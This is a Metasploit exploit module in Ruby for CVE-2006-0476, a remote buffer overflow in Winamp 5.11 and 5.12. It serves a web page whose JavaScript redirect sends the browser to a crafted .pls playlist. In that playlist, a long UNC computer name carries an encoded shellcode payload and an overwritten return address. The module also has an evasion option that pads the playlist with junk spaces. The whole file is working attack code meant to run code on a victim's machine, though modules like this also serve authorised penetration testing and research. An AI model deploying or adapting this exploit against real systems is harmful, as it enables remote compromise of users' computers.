##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Winamp media player.
        This flaw is triggered when an audio file path is specified, inside a
        playlist, that consists of a UNC path with a long computer name. This
        module delivers the playlist via the browser. This module has only
        been successfully tested on Winamp 5.11 and 5.12.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hdm',
          'Faithless <rhyskidd[at]gmail.com>'
        ],
      'References'     =>
        [
          ['CVE', '2006-0476'],
          ['OSVDB', '22789'],
          ['BID', '16410'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 526,
          'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },

          # Landing on \x5c\x5c trashes esp, restore from ecx
          'PrependEncoder' => "\x87\xe1",
          'StackAdjustment' => -3500,

          # Dont need them, dont want them, preserve esi
          'DisableNops' => true,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
          [ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
        ],
      'DisclosureDate' => '2006-01-29',
      'DefaultTarget'  => 0))

    register_evasion_options(
      [
        OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', false])
      ])
  end

  def on_request_uri(cli, request)

    if (not request.uri.match(/\.pls$/i))
      if ("/" == get_resource[-1,1])
        pls_uri = get_resource[0, get_resource.length - 1]
      else
        pls_uri = get_resource
      end
      pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls"
      html =
        "<html><body>"+
        "<script>" +
        "document.location='#{pls_uri}'</script>" +
        "One second please...</body></html>"
      send_response_html(cli, html)
      return
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")

    # Transmit the compressed response to the client
    send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })

    # Handle the payload
    handler(cli)
  end

  def generate_playlist(payload)

    pcnt = rand(10)+10;

    file = rand_text_english(1026)
    file[1022  , 4] = [target.ret].pack('V')
    file[0, payload.encoded.length] = payload.encoded

    play =
      "[playlist]\r\n"                 +
        generate_songs(pcnt)         +
        generate_song(pcnt + 1, "\\\\#{file}") +
        generate_line('NumberOfEntries', "#{pcnt+1}") +
        generate_line('Version', '2')
    return play
  end

  def generate_space
    if datastore['PlaylistSpaceInjection']
      return rand_text(rand(100)+1, nil, " \t")
    else
      return ''
    end
  end

  def generate_song(id, file)
    return generate_line("File#{id}", file) +
        generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
        generate_line("Length#{id}", "%x" % (rand(1024) + 30))
  end

  def generate_line(key, value)
    return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
  end

  def generate_songs(cnt)
    songs = ''
    1.upto(cnt) do |i|
      songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
    end
    return songs
  end
end
